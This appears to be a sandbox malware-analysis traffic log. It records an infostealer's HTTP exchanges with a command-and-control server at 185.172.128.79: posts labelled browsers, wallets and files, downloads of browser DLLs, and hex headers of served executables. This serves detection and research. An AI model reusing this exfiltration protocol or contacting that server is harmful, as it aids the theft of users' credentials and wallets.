Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Feb 2024 09:58:10 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 05 Feb 2024 09:58:10 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /api/stats/watchtime?ns=yt&el=detailpage&inview=1&feature=related&cpn=rSxKbKsd6w81ZJ5T&docid=he6tgOIX_rU&ver=2&ei=UaTAZeGsMrm8_9EPmO-ROA&fmt=243&fs=0&rt=539&of=wbAUJoLFDaeeOSJrHXH1sg&euri=&lact=4019&live=dvr&cl=602892282&state=playing&vm=CAEQABgEOjJBSHFpSlRMWmFHS19wcll0S1Z0cWtYSXpCb2lKUGEyVEEwYWFIMGRDNm5TRnB1X09KZ2JiQVBta0tESXI2MWtnbHZvdkxiLU9lbE5JbXJITlpYZzBZNG01d25CbzZqLU1XU1dkeUZxS0VMV2hRR1ZmekpRcFlhTVlBYlQtWXZ1Q1ZsUWFRWVhnUWJDOVdSMVBrejctV3doAg&volume=100&cbr=Chrome&cbrver=102.0.0.0&c=WEB&cplayer=UNIPLAYER&cver=2.20231219.04.00&cos=Windows&cosver=10.0&cplatform=DESKTOP&delay=5&hl=en_US&rtn=839&aftm=140&rti=539&plid=AAYQnrtSYNYWq7ag&muted=0 HTTP/1.1
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBFCGIDAKECGCBGDBAFHost: 185.172.128.79Content-Length: 213Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 41 41 38 37 33 35 31 38 46 36 36 32 33 30 30 30 30 33 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 2d 2d 0d 0a Data Ascii: ------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="hwid"33AA873518F6623000030------CFBFCGIDAKECGCBGDBAFContent-Disposition: form-data; name="build"default------CFBFCGIDAKECGCBGDBAF--
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGHost: 185.172.128.79Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 4b 4a 4b 4a 4a 4a 45 43 46 49 45 42 46 48 49 45 47 2d 2d 0d 0a Data Ascii: ------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------CBAKJKJJJECFIEBFHIEGContent-Disposition: form-data; name="message"browsers------CBAKJKJJJECFIEBFHIEG--
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAAHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 2d 2d 0d 0a Data Ascii: ------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------IEHDBAAFIDGDAAAAAAAAContent-Disposition: form-data; name="message"plugins------IEHDBAAFIDGDAAAAAAAA--
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCFBFHIEBKJKFHIEBFBAHost: 185.172.128.79Content-Length: 7423Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/sqlite3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBKFHIDHIIJJKECGHCFHost: 185.172.128.79Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHDHIIIECBGCAKFIJHost: 185.172.128.79Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGIIEBFCBAAAAKKEGHHost: 185.172.128.79Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 47 49 49 45 42 46 43 42 41 41 41 41 4b 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------IJDGIIEBFCBAAAAKKEGHContent-Disposition: form-data; name="file"------IJDGIIEBFCBAAAAKKEGH--
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECAEGHIJEHJDHIDHIDAEHost: 185.172.128.79Content-Length: 359Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 45 47 48 49 4a 45 48 4a 44 48 49 44 48 49 44 41 45 2d 2d 0d 0a Data Ascii: ------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------ECAEGHIJEHJDHIDHIDAEContent-Disposition: form-data; name="file"------ECAEGHIJEHJDHIDHIDAE--
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/freebl3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/mozglue.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/msvcp140.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/nss3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/softokn3.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15f649199f40275b/vcruntime140.dll HTTP/1.1Host: 185.172.128.79Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJDBGDGCGDAKFIDGIDBHost: 185.172.128.79Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.172.128.79Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 4a 45 42 4b 46 43 41 4b 4b 46 49 45 48 44 42 46 2d 2d 0d 0a Data Ascii: ------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------CAEHJEBKFCAKKFIEHDBFContent-Disposition: form-data; name="message"wallets------CAEHJEBKFCAKKFIEHDBF--
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGIDGCGIEGDGDGDGHJKHost: 185.172.128.79Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 65 30 65 63 35 31 64 65 30 31 35 65 38 62 61 30 62 63 34 64 34 37 63 66 61 66 38 64 61 63 32 33 63 39 64 63 34 33 34 66 35 61 61 30 36 39 33 30 32 39 61 34 37 37 38 62 61 62 66 63 66 36 31 36 66 39 30 33 66 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 49 44 47 43 47 49 45 47 44 47 44 47 44 47 48 4a 4b 2d 2d 0d 0a Data Ascii: ------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="token"99e0ec51de015e8ba0bc4d47cfaf8dac23c9dc434f5aa0693029a4778babfcf616f903f5------GCGIDGCGIEGDGDGDGHJKContent-Disposition: form-data; name="message"files------GCGIDGCGIEGDGDGDGHJK--
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGDHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFBHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFCAKKKFBGDGCAKFCFHHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGHHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIECAAKECFHIECBKJDHHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEGIEHIJKKFIDHDGIDHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEHHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAEHJEBKFCAKKFIEHDBFHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJEGIJEGDBFHDGCAFCAEHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHIHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFBHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBKHost: 185.172.128.79Content-Length: 1759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /3cd2b41cbde8fc9c.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: 185.172.128.79Content-Length: 1743Connection: Keep-AliveCache-Control: no-cache
